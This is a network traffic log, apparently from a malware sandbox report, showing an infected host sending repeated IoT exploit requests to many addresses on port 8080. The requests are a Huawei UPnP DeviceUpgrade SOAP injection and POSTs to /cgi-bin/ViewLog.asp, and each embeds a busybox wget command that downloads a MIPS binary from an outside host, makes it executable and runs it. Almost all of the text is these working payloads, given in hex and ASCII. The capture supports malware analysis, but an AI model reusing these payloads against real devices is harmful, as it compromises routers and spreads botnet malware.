Nov 23, 2023 05:15:48.774585009 CET	874	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 23, 2023 05:16:37.926465034 CET	874	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.13	53942	85.184.175.141	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:01.698281050 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:01.881938934 CET	459	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 23 Nov 2023 04:15:01 GMT Content-Type: text/html Content-Length: 248 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 54 68 65 20 70 6c 61 69 6e 20 48 54 54 50 20 72 65 71 75 65 73 74 20 77 61 73 20 73 65 6e 74 20 74 6f 20 48 54 54 50 53 20 70 6f 72 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 63 65 6e 74 65 72 3e 54 68 65 20 70 6c 61 69 6e 20 48 54 54 50 20 72 65 71 75 65 73 74 20 77 61 73 20 73 65 6e 74 20 74 6f 20 48 54 54 50 53 20 70 6f 72 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 The plain HTTP request was sent to HTTPS port</title></head><body><center><h1>400 Bad Request</h1></center><center>The plain HTTP request was sent to HTTPS port</center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.13	59648	62.194.98.185	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:01.709664106 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:02.726732969 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:03.942723989 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:06.534709930 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:11.398689032 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:21.126729965 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:40.582611084 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:19.494518995 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.13	35940	31.134.48.158	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:01.723619938 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:01.937509060 CET	399	IN	HTTP/1.0 302 Redirect Date: Sun, 28 Mar 2021 04:39:09 GMT Server: Boa/0.94.14rc21 Accept-Ranges: bytes Connection: close Content-Type: text/html; charset=ISO-8859-1 Location: http://192.168.0.14:80/login.htm Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 52 65 64 69 72 65 63 74 3c 2f 48 31 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 6c 6f 67 69 6e 2e 68 74 6d 22 3e 68 65 72 65 3c 2f 41 3e 2e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD></HEAD><BODY><H1>302 Redirect</H1>The document has moved<A HREF="login.htm">here</A>.</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.13	60874	94.187.118.193	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:01.730400085 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.13	60238	94.121.107.57	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:01.731131077 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.13	46356	94.121.184.191	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:01.731430054 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.13	48860	94.122.90.26	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:01.738918066 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.13	57336	95.216.217.67	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:01.905442953 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:02.105523109 CET	1025	IN	HTTP/1.1 404 Content-Type: text/html;charset=utf-8 Content-Language: en Content-Length: 775 Date: Thu, 23 Nov 2023 04:15:01 GMT Keep-Alive: timeout=20 Connection: keep-alive Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 34 20 e2 80 93 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 62 6f 64 79 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 7d 20 68 31 2c 20 68 32 2c 20 68 33 2c 20 62 20 7b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 7d 20 68 31 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 7d 20 68 32 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 7d 20 68 33 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 7d 20 70 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 20 61 20 7b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 7d 20 2e 6c 69 6e 65 20 7b 68 65 69 67 68 74 3a 31 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 62 6f 72 64 65 72 3a 6e 6f 6e 65 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 34 20 e2 80 93 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 68 72 20 63 6c 61 73 73 3d 22 6c 69 6e 65 22 20 2f 3e 3c 70 3e 3c 62 3e 54 79 70 65 3c 2f 62 3e 20 53 74 61 74 75 73 20 52 65 70 6f 72 74 3c 2f 70 3e 3c 70 3e 3c 62 3e 4d 65 73 73 61 67 65 3c 2f 62 3e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 5b 26 23 34 37 3b 63 67 69 2d 62 69 6e 26 23 34 37 3b 56 69 65 77 4c 6f 67 2e 61 73 70 5d 20 69 73 20 6e 6f 74 20 61 76 61 69 6c 61 62 6c 65 3c 2f 70 3e 3c 70 3e 3c 62 3e 44 65 73 63 72 69 70 74 69 6f 6e 3c 2f 62 3e 20 54 68 65 20 6f 72 69 67 69 6e 20 73 65 72 76 65 72 20 64 69 64 20 6e 6f 74 20 66 69 6e 64 20 61 20 63 75 72 72 65 6e 74 20 72 65 70 72 65 73 65 6e 74 61 74 69 6f 6e 20 66 6f 72 20 74 68 65 20 74 61 72 67 65 74 20 72 65 73 6f 75 72 63 65 20 6f 72 20 69 73 20 6e 6f 74 20 77 69 6c 6c 69 6e 67 20 74 6f 20 64 69 73 63 6c 6f 73 65 20 74 68 61 74 20 6f 6e 65 20 65 78 69 73 74 73 2e 3c 2f 70 3e 3c 68 72 20 63 6c 61 73 73 3d 22 6c 69 6e 65 22 20 2f 3e 3c 68 33 3e 41 70 61 63 68 65 20 54 6f 6d 63 61 74 2f 31 30 2e 30 2e 32 30 3c 2f 68 33 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!doctype html><html lang="en"><head><title>HTTP Status 404 Not Found</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 404 Not Found</h1><hr class="line" /><p><b>Type</b> Status Report</p><p><b>Message</b> The requested resource [/cgi-bin/ViewLog.asp] is not available</p><p><b>Description</b> The origin server did not find a current representation for the target resource or is not willing to disclose that one exists.</p><hr class="line" /><h3>Apache Tomcat/10.0.20</h3></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.13	50442	94.120.248.24	8080

Timestamp	Bytes transferred	Direction	Data
